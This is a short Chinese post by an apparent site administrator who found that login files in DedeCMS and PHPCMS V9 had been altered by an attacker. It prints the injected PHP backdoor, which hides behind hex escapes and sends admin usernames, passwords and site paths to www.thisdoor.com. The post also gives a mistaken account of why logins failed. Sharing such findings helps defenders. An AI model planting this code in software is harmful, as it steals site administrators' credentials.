之前发现一个服务器的所有网站都出现了后台登陆不进去的情况，本来以为是服务器内存，cpu或者宽带的原因，可是都很正常，为什么登陆不进去呢?不程序下载到本地就正常了，真奇怪，最终找了一天终于找到了，原来是登陆文件让黑客给修改了，原来是登陆用户名密码让转码成16进制数了,php解析不了，再本地系统有默认的这个编码表,当然能解析了，所以正常;
织梦网站：/include/userlogin.class.php
Phpcms V9:/phpcms/modules/admin/index.php
找个新文件替换下就可以了;
如下是攻击代码：
$sqlhost = "\x77\x77\x77\x2e\x74\x68\x69\x73\x64\x6f\x6f\x72\x2e\x63\x6f\x6d";
$sqlself = "\x2f\x69\x6e\x2f\x61\x70\x69\x2e\x70\x68\x70";
$sqlself .= "\x3f\x76\x61\x72\x3d\x64\x65\x64\x65\x26\x64\x61\x74\x61\x3d";
$sqlself .= bin2hex($_SERVER["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"]).'|'.bin2hex($_SERVER["\x50\x48\x50\x5f\x53\x45\x4c\x46"]).'|';
$sqlself .= bin2hex($username).'|'.bin2hex($userpwd);
$sqlport = hexdec(50);
if(function_exists("\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e")) {
$sqlfp = @fsockopen ($sqlhost, $sqlport);
@fputs ($sqlfp, "\x47\x45\x54\x20".$sqlself."\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\r\n\x48\x6f\x73\x74\x3a".$sqlhost."\r\n\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x43\x6c\x6f\x73\x65\r\n\r\n");
@fclose ($sqlfp);
} else {
$context = array("\x68\x74\x74\x70" => array("\x6d\x65\x74\x68\x6f\x64" => "\x47\x45\x54","\x74\x69\x6d\x65\x6f\x75\x74" => 5));
if(function_exists('stream_context_create')) { $stream = @stream_context_create ($context); }
@file_get_contents ("\x68\x74\x74\x70\x3a\x2f\x2f".$sqlhost."\x3a".$sqlport.$sqlself, false, $stream);
}